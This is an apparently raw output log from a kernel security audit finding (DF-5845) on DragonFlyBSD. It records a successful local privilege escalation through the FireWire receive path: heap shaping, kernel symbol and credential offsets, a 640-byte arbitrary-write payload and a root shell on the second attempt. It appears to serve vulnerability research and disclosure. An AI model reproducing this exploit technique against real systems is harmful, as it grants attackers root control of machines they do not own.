⬢ DragonFlyBSD Kernel Audit
DF-5845 / run.attack.out
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
RIG: unspray (canary list cleared)
RIG: warm post done (seq counter moved)
RIG: no contiguous canary run found
SHAPE_FAIL
RIG: unspray (canary list cleared)
RIG: warm post done (seq counter moved)
RIG: gate verified pair S=0xfffff8008bb44b40 V=0xfffff8008bb44be0 (attempt 0)
RIG: shape: S=0xfffff8008bb44b40 V=0xfffff8008bb44be0 C3(stub)=0xfffff8008bb44c80 K=0xfffff8008bb53c80 (pair freed hi-first, gate-verified)
=== attempt 2 S_PRED=18446735279960378176 ===
+ echo '--- attack log ---'
--- attack log ---
+ cat /tmp/df5845.attack.log
RIG: v6 consts pfindn=0xffffffff8064dc00 fw_asy_callback=0xffffffff804bb220 fwh_fc=0xffffffff817e2e40 fwh_atq=0xffffffff817e2d40 M_FWXFER=0xffffffff810aad40
RIG: proc.p_ucred=+16 ucred cr_uid=+64 cr_ruid=+160 cr_svuid=+164 cr_ngroups=+68 cr_groups=+72
RIG: fw_xfer send.payload=+80 recv.hdr=+96 recv.payload=+112 recv.pay_len=+120 mbuf=+128 malloc=+144
RIG: attack: S_PRED=0xfffff8008bb44b40 K=0xfffff8008bb53c80
RIG: pend baseline=13
RIG: weapon pid=1116
RIG: watch[0] poll n=1
RIG: wire: S=0xfffff8008bb44b40 tl=14  V=0xfffff8008bb44be0 tl=15
RIG: stub 88 bytes at 0xfffff8008bb44c90 (pfindn=0xffffffff8064dc00 pid=1116)
RIG: payload 640 bytes [canary|S-fix|V|stub] @ S-160=0xfffff8008bb44aa0
RIG: S-response delivered (656 bytes) -> fw_rcv_copy arb-write of 640 bytes @ S-160
RIG: V-response delivered -> dispatch armed
+ echo '--- weapon log ---'
--- weapon log ---
+ cat /tmp/df5845.weapon.log
DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44b40 (write base S-160=0xfffff8008bb44aa0) (off send.payload=80 recv.payload=112 recv.pay_len=120)
DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0
DF5845-CHAIN-WON: uid=0 euid=0
+ echo '--- win files ---'
--- win files ---
+ cat /tmp/df5845.win
uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)
DF5845-CHAIN-WON
exec-proof:
uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)
+ cat /root/df5845.pwned
uid=0(root) gid=1002(opuser) egid=0(wheel) groups=0(wheel)
+ echo '--- dmesg tail ---'
--- dmesg tail ---
+ tail -25
+ dmesg
fwh: POST-RCV pend[9] seq=9 dst=0x11 tl=10 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[10] seq=10 dst=0x22 tl=11 xfer=0xfffff8008bb445a0 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[11] seq=11 dst=0x99 tl=12 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[12] seq=12 dst=0x99 tl=13 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[13] seq=13 dst=0x11 tl=14 xfer=0xfffff8008bb44b40 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[14] seq=14 dst=0x22 tl=15 xfer=0xfffff8008bb44be0 state=3 resp=0 act.hand=0xfffff8008bb44c90 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=656 delivered to stock fw_rcv
fwh: PKTRCV len=16 w0=ffc03c70 w1=00220000 w2=00000000 w3=00000000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=
0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0d800000030 recv.payload=0xa0a00006f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0db00000030 recv.payload=0xa0a00005f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=0 resp=32 act.hand=0x7e0dc0dd00000030 recv.payload=0xa0a00003f00df00d recv.pay_len=112
fwh: POST-RCV pend[7] seq=7 dst=0x99 tl=8 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[8] seq=8 dst=0x99 tl=9 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[9] seq=9 dst=0x11 tl=10 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[10] seq=10 dst=0x22 tl=11 xfer=0xfffff8008bb445a0 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[11] seq=11 dst=0x99 tl=12 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[12] seq=12 dst=0x99 tl=13 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[13] seq=13 dst=0x11 tl=14 xfer=0xfffff8008bb44b40 state=0 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[14] seq=14 dst=0x22 tl=15 xfer=0xfffff8008bb44be0 state=10 resp=90 act.hand=0xfffff8008bb44c90 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=16 delivered to stock fw_rcv
=== WIN on attempt 2 ===